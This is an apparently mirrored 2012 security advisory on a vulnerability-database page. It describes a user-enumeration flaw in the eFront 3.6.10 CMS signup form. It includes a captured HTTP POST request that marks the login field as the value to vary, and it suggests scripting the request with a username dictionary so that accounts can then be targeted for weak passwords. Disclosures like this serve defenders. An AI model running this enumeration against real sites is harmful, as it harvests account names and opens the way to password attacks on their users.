Lucene search
K

eFront CMS 3.6.10 User Enumeration

🗓️ 26 Apr 2012 00:00:00Reported by HauntITType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

eFront 3.6.10 CMS user enumeration vulnerabilit

Code
`[ TITLE ....... ][ eFront 3.6.10 CMS user enumeration attack  
[ DATE ........ ][ 11.04.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://www.efrontlearning.net  
[ VERSION ..... ][ 3.6.10  
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice CMS, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
This is user enumeration bug. At (3) You'll see how to enumerate all usernames   
registered on eFront WWW.  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
  
So Check it out:  
Vulnerable to this attack is 'Singup' part of eFront.  
  
How to get the names:  
Go to http://efront/www/index.php?ctg=signup  
  
There You'll have 'New user account' tab.  
Now what is important: to find out if user-A is registered,  
just simple write his ('potential' - could be from dictionary.txt, sure ;)) username  
and watch the error message in response.  
  
From 'source of view' it looks like this:  
  
---cut from Burp---  
POST /www/NEW/efront/www/index.php?ctg=signup HTTP/1.1  
Host: localhost  
(...)  
Referer: http://localhost/www/NEW/efront/www/index.php?ctg=signup  
(...)  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 188  
  
_qf__signup_register_personal_form= ..... <-- leave it, no matter  
&login=admin ..............<- this is Your input*, see below  
&password=allowed ......................... <-- leave it, no matter  
&passrepeat=allowed ......................... <-- leave it, no matter  
&email=allowed%40allowed.com ................ <-- ...  
&firstName=allowed ......................... <--...  
&lastName=allowed ......................... <-- ...  
&comments=allowed ......................... <-- ...  
&submit_register=Register ......................... <-- ...  
  
---cut from Burp---  
  
*input - this ($login) could be nice parameter to build a simple bash/python/php/whatever-script  
to enumerate in few minutes all users from CMS.  
  
What else and so what. Usernames can be used to determine 'weak passwords' or  
any other specification for 'creating usernames/passwords' (for example:  
john01, john02:pass123, etc...)  
  
  
[--------------------------------------------[  
[ 4. More...  
  
- http://hauntit.blogspot.com  
- http://www.efrontlearning.net  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ Ask me about new projects @ mail. ;)  
]  
[ Best regards  
[   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation